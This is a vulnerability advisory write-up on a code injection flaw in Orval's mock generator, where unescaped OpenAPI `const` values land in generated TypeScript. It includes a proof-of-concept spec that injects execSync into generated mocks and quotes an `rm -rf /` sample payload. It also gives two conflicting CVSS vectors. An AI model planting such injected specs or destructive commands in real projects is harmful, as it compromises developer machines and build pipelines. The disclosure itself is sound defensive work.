GHSA-F456-RF33-4626

Mocking the Mock: RCE via Orval Code Generation

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 22, 2026·5 min read·3 visits

Executive Summary (TL;DR)

Orval, a popular OpenAPI-to-TypeScript generator, failed to sanitize `const` values from OpenAPI 3.1.0 specifications before writing them to disk. By crafting a malicious schema, an attacker can break out of the generated string literals and inject JavaScript commands. When developers generate mocks or run tests, this code executes instantly. The fix involves replacing naive string interpolation with `JSON.stringify()`.

A high-severity code injection vulnerability in the @orval/mock package allows attackers to execute arbitrary code on developer machines and CI/CD pipelines by embedding malicious payloads in OpenAPI 'const' definitions.

The Hook: Trusting the Blueprint

Code generation is the developer's favorite narcotic. We feed a tool a schema (the blueprint), and it spits out thousands of lines of boilerplate that we don't have to write. It feels like magic. But in security, 'magic' usually means 'parsing untrusted input and executing it.'

Orval is a fantastic tool for generating TypeScript clients and MSW (Mock Service Worker) handlers from OpenAPI specs. It parses your API definition and creates realistic mock data for your frontend tests. It’s trusted implicitly by thousands of projects.

But here is the catch: What happens if the API definition itself is malicious? What if you pull a spec from a third-party vendor, or an attacker submits a PR updating the openapi.yaml? If the generator blindly trusts the text in that file, it's not just generating code—it's transcribing malware directly onto your hard drive.

The Flaw: A Constant Mistake

The vulnerability lies deep within packages/mock/src/faker/getters/scalar.ts. Orval supports OpenAPI 3.1.0, which allows a schema property to have a const value—a fixed value that the field must always take.

When Orval encounters a const in the schema, it needs to write that value into the generated TypeScript file. In versions prior to 7.20.0 and 8.0.3, it did this with the programming equivalent of a shrug and a prayer.

Instead of serializing the value safely, the generator performed simple string interpolation. If the schema said the constant was a string, Orval essentially did this:

// Conceptual vulnerable logic
output = `value: '${schema.const}'`;

See the problem? If schema.const contains a single quote ', it closes the string. Anything after that is interpreted as raw JavaScript code. This is the classic SQL injection pattern, but applied to source code generation.

The Code: The Smoking Gun

Let's look at the actual diff. This is where the developer realized that string concatenation is not a serialization strategy.

In the vulnerable function getMockScalar, the code checked if const existed and then simply cast it to a string or wrapped it in quotes manually. The logic failed to account for escape characters or quote balancing.

Vulnerable Code (Simplified):

if ('const' in item) {
  // Danger: Direct interpolation
  return `"${item.const}"`;
}

The Fix (Commit 9b211c...):

The fix is elegant in its simplicity. Instead of trying to manually escape quotes (which is prone to errors), the maintainers switched to JSON.stringify(). This native function guarantees that whatever data you feed it comes out as a valid JavaScript literal, with all necessary escaping applied.

if ('const' in item) {
  // Safe: JSON.stringify handles the quoting and escaping
  return JSON.stringify(item.const);
}

This change ensures that a payload like '); exec('rm -rf /'); is rendered innocuously as "'); exec('rm -rf /');" rather than being executed.

The Exploit: Breaking Out

To exploit this, we don't need a complex binary payload. We just need a text editor. We create an OpenAPI definition that defines an object with a const property. Inside that property, we place our payload.

The Malicious Spec (openapi.yaml):

openapi: 3.1.0
info:
  title: Pwned API
  version: 1.0.0
paths:
  /pwn:
    get:
      responses:
        '200':
          content:
            application/json:
              schema:
                type: object
                properties:
                  pwn:
                    type: string
                    # The payload closes the quote, runs code, and comments out the rest
                    const: "'); require('child_process').execSync('touch /tmp/pwned'); //"

The Generated Result (mocks.ts):

When Orval runs, it generates a file that looks like this:

export const getPwnMock = () => ({
  pwn: ''); require('child_process').execSync('touch /tmp/pwned'); //',
})

Because mocks.ts is valid TypeScript, your linter might complain about formatting, but the node process running your tests won't hesitate to execute that execSync command. The moment you import this mock file in a test suite or run your mock server, the code executes.

The Impact: Why This Matters

This is a Supply Chain vulnerability. It doesn't target your production server directly; it targets your developers and your build pipeline.

  1. Developer Machines: If a developer pulls a malicious spec and runs the generator, their machine is compromised. The attacker can steal SSH keys, AWS credentials, or inject further backdoors into the application code before it's even committed.

  2. CI/CD Poisoning: Many pipelines generate mocks on the fly during the test phase. If the spec file is compromised, the CI runner executes the payload. This allows attackers to dump environment variables (API keys, database credentials) and exfiltrate them.

It is a silent, pre-production kill chain. By the time the code reaches production, the damage is already done.

The Fix: Mitigation Strategy

The remediation is straightforward but urgent. You simply need to update the @orval/mock package to a version that knows how to serialize JSON properly.

Immediate Actions:

  1. Update: Upgrade to @orval/mock version 7.20.0 or 8.0.3 immediately.
  2. Audit: Check your openapi.yaml or swagger.json files. If you load these from external URLs, pin them to a hash or download them manually and inspect them. Look for suspicious const or default values containing JavaScript syntax.
  3. Sandboxing: Consider running code generation tools in a restricted environment or container that does not have access to sensitive host credentials, though this is often impractical for local development.

Fix Analysis (2)

Technical Appendix

CVSS Score
8.6/ 10
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

@orval/mock < 7.20.0@orval/mock < 8.0.3Node.js Development EnvironmentsCI/CD Pipelines running Orval

Affected Versions Detail

Product
Affected Versions
Fixed Version
@orval/mock
Orval
< 7.20.07.20.0
@orval/mock
Orval
>= 8.0.0 < 8.0.38.0.3
AttributeDetail
CWECWE-94 (Code Injection)
SeverityHigh
CVSS Estimate8.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Attack VectorSpec File Injection
Exploit StatusProof of Concept Available
PatchJSON.stringify() implementation
CWE-94
Improper Control of Generation of Code ('Code Injection')

The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Vulnerability Timeline

Vulnerability Disclosed
2024-10-25
Patched Version 7.20.0 Released
2024-10-26
Patched Version 8.0.3 Released
2024-10-26

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.